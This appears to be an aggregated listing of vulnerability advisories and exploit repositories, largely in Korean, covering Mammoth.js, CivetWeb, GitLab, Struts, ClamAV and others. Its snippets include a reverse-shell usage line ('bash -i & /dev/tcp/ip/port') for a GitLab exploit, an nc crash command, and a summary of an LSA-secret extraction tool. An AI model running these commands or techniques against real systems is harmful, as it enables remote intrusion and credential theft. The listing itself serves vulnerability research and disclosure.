CVE-2026-105219 Mammoth.js 1.3.0 before 1.12.3 ReDoS via Style Map Tokeniser

Mammoth.js 1.3.0 before 1.12.3 contains a regular expression denial of service vulnerability in the style map tokeniser in lib/styles/parser/tokeniser.js due to overlapping regex alternatives. Attackers can supply a crafted .docx with an unterminated quoted string of repeated backslash escapes in...

CVE-2026-105219 Mammoth.js 1.3.0 before 1.12.3 ReDoS via Style Map Tokeniser

Mammoth.js 1.3.0 before 1.12.3 contains a regular expression denial of service vulnerability in the style map tokeniser in lib/styles/parser/tokeniser.js due to overlapping regex alternatives. Attackers can supply a crafted .docx with an unterminated quoted string of repeated backslash escapes in...

CVE-2026-105219

Mammoth.js versions 1.3.0 before 1.12.3 are vulnerable to a Regular Expression Denial of Service (ReDoS) . The flaw exists in the style map tokeniser located in lib/styles/parser/tokeniser.js due to overlapping regex alternatives . An attacker can provide a crafted .docx file containing an unterm...

CorelightForSentinelOne

Singularity Operations Center용 SentinelOne 대시보드 개요 이 가이드는 네트워크 트래픽을 모니터링하고 분석하기 위한 강력한 데이터 인사이트를 제공하는 SentinelOne 대시보드를 설정하고 활용하는 데 도움을 줍니다. 보안 분석가, 네트워크 관리자 또는 IT 전문가라면 이 대시보드를 통해 네트워크의 보안 상태를 쉽게 시각화하고 추적할 수 있습니다. 설치 및 구성 파서 구성 마켓플레이스를 통한 파서 설치 -- TBD -- GitHub 리포지토리를 통한 파서 설치 참고: 마켓플레이스 대신...

CVE-2025-55763

CVE-2025-55763 CivetWeb 1.16현재까지의 최신 릴리스의 URI 파서에서 발생하는 버퍼 오버플로우 취약점입니다. 취약 코드 충돌은 src/civetweb.c의 이 부분에서 표시된 마지막 strcat 중에 발생합니다. 수정 풀 리퀘스트를 참조하세요. PoC PoC는 힙 오버플로우를 수행하여 서버를 충돌시키며, 이 취약점에 대한 익스플로잇을 제작하면 원격 코드 실행을 달성할 수도 있습니다. cat httprequestcrashinput.txt | nc 127.0.0.1 8080...

external_expat_AOSP10_r33_CVE-2022-23990

Expat, 릴리스 2.2.6 이것은 Expat으로, XML을 파싱하는 C 라이브러리이며, 1997년 James Clark에 의해 시작되었습니다. Expat은 스트림 지향 XML 파서입니다. 즉, 파싱을 시작하기 전에 파서에 핸들러를 등록합니다. 이 핸들러들은 파서가 파싱 중인 문서에서 관련 구조를 발견할 때 호출됩니다. 시작 태그는 핸들러를 등록할 수 있는 구조의 한 예입니다. Windows 사용자는 expatwin32 패키지를 사용해야 합니다. 이 패키지에는 사전 컴파일된 라이브러리와 실행 파일, 그리고 개발자를 위한 소스...

CVE-2021-22205

취약점 영향 GitLab CE/EE의 11.9부터 모든 버전에서 문제가 발견되었습니다. GitLab이 파일 파서에 전달되는 이미지 파일을 제대로 검증하지 않아 원격 명령 실행이 발생했습니다. 취약점 제품 Gitlab CE/EE /tmp/1.txt" 배치 스캔 python3 CVE-2021-2205.py -s true -f target.txt 리버스 셸 python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i & /dev/tcp/ip/port...

CVE-2023-20052

CVE-2023-20052 CVE-2023-20052 ClamAV DMG 파일 파서 정보 유출 취약점 ClamAV 버전 1.0.0 및 이전, 0.105.1 및 이전, 0.103.7 및 이전의 DMG 파일 파서에 있는 취약점으로, 인증되지 않은 원격 공격자가 영향을 받는 장치의 민감한 정보에 접근할 수 있습니다. 이 취약점은 XML 엔티티 치환을 활성화하여 XML 외부 엔티티 주입이 발생할 수 있기 때문입니다. 공격자는 조작된 DMG 파일을 제출하여 영향을 받는 장치에서 ClamAV가 스캔하도록 함으로써 이 취약점을 악용할 수...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 버전 2.3.32 이전의 2.3.x 및 2.5.10.1 이전의 2.5.x에는 Jakarta Multipart 파서에 결함이 있습니다. 이 결함으로 인해 파일 업로드를 시도할 때 예외 처리 및 오류 메시지 생성이 잘못 수행됩니다. 그 결과, 공격자는 Content-Type, Content-Disposition 또는 Content-Length와 같은 조작된 HTTP 헤더를 악용하여 임의의 명령을 원격으로 실행할 수 있습니다. 실행 python exploit.py -r -c 참조...

VLC_CVE-2021-25804_Analysis

AVI 파일은 여러 개의 트랙을 가질 수 있습니다. 예를 들어 오디오 트랙과 비디오 트랙이 있습니다. 임의 개수의 트랙을 파싱하려면 VLC는 먼저 주어진 트랙이 완료되었고 재생 가능한지 확인해야 합니다. 이를 위해 두 개의 변수가 설정됩니다. 둘 다 이름이 itrack입니다. 변수 psys는 우리의 목적에 있어 avi 파일을 나타냅니다. 따라서 완료되고 재생 가능한 트랙을 참조하는 데 사용되는 "공식" itrack 변수는 psys-itrack입니다. 이 변수는 다음 매크로로 초기화됩니다: TABINITpsys-itrack,...

external_expat_AOSP10_r33_CVE-2022-22822toCVE-2022-22827

Expat, 릴리스 2.2.6 이것은 Expat으로, 1997년 James Clark이 시작한 XML 파싱을 위한 C 라이브러리입니다. Expat은 스트림 지향 XML 파서입니다. 즉, 파싱을 시작하기 전에 파서에 핸들러를 등록합니다. 이러한 핸들러는 파서가 파싱 중인 문서에서 관련 구조를 발견할 때 호출됩니다. 시작 태그는 핸들러를 등록할 수 있는 구조의 한 예입니다. Windows 사용자는 expatwin32 패키지를 사용해야 합니다. 이 패키지에는 사전 컴파일된 라이브러리와 실행 파일, 그리고 개발자를 위한 소스 코드가...

sanitize

Sanitize Sanitize is an allowlist-based HTML and CSS sanitizer. It removes all HTML and/or CSS from a string except the elements, attributes, and properties you choose to allow. Using a simple configuration syntax, you can tell Sanitize to allow certain HTML elements, certain attributes within...

SrHollow

SrHollow LSA secrets 추출, 기존 VSS 섀도 복사본 재사용 + 인라인 regf 파서 + bcrypt.dll을 통한 AES-256 LSA 복호화. 6단계 체인 1. \GLOBAL?? 열거 — NtOpenDirectoryObject + NtQueryDirectoryObject 사용. 가장 높은 번호의 HarddiskVolumeShadowCopyN을 선택. 2. 존재하지 않으면 , SrClient.dll의 SRSetRestorePointWBEGINSYSTEMCHANGE, DEVICEDRIVERINSTALL로 폴백...

lua-ffi-libinjection

Name lua-resty-libinjection - LuaJIT FFI bindings for libinjection Status This library is in active development and is production ready Description This library provides FFI bindings for libinjection, a SQL/SQLi and XSS tokenizer and analyzer. Installation Install this library as you would any...

external_expact_AOSP10_r33_CVE-2022-25314

Expat, 릴리스 2.2.6 이것은 Expat으로, 1997년 James Clark이 시작한 XML 파싱을 위한 C 라이브러리입니다. Expat은 스트림 기반 XML 파서입니다. 즉, 파싱을 시작하기 전에 파서에 핸들러를 등록합니다. 이 핸들러들은 파서가 파싱 중인 문서에서 관련 구조를 발견할 때 호출됩니다. 시작 태그는 핸들러를 등록할 수 있는 구조의 한 예입니다. Windows 사용자는 expatwin32 패키지를 사용해야 하며, 이 패키지에는 사전 컴파일된 라이브러리와 실행 파일, 그리고 개발자를 위한 소스 코드가 포함...

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

보안 권고: facil.io의 음수 청크 크기 파싱으로 인한 메모리 손상 배정된 CVE ID : CVE-2026-66731 제품: facil.io 영향받는 버전: facil.io = 0.7.5 0.7.5, 0.7.6, master; 0.7.5에서 0.8.x HTTP/1.1 파서가 백포트되면서 도입됨 - 0.6.x 또는 0.7.0–0.7.3에는 존재하지 않음 구성 요소: lib/facil/http/parsers/http1parser.h CWE: CWE-20 Improper Input Validation, CWE-682...

zk-xml-probe

zk-xml-probe 승인된 버그 바운티 테스트를 위한 XML 파서 동작CVE-2026-45071의 정적 XML 픽스처...

Navigate CMS 2.9.4 - Server-Side Request Forgery

Navigate CMS 2.9.4 is susceptible to server-side request forgery via feedparser class. This can allow a remote attacker to force the application to make arbitrary requests via injection of arbitrary URLs into the feed parameter, thus enabling possible theft of sensitive information, data...

[SECURITY] Fedora 44 Update: nanosvg-20221221-11.fc44

NanoSVG is a simple stupid single-header-file SVG parse. The output of the parser is a list of cubic bezier shapes. The library suits well for anything from rendering scalable icons in your editor application to prototyping a game...

[SECURITY] Fedora 43 Update: nanosvg-20221221-11.fc43

NanoSVG is a simple stupid single-header-file SVG parse. The output of the parser is a list of cubic bezier shapes. The library suits well for anything from rendering scalable icons in your editor application to prototyping a game...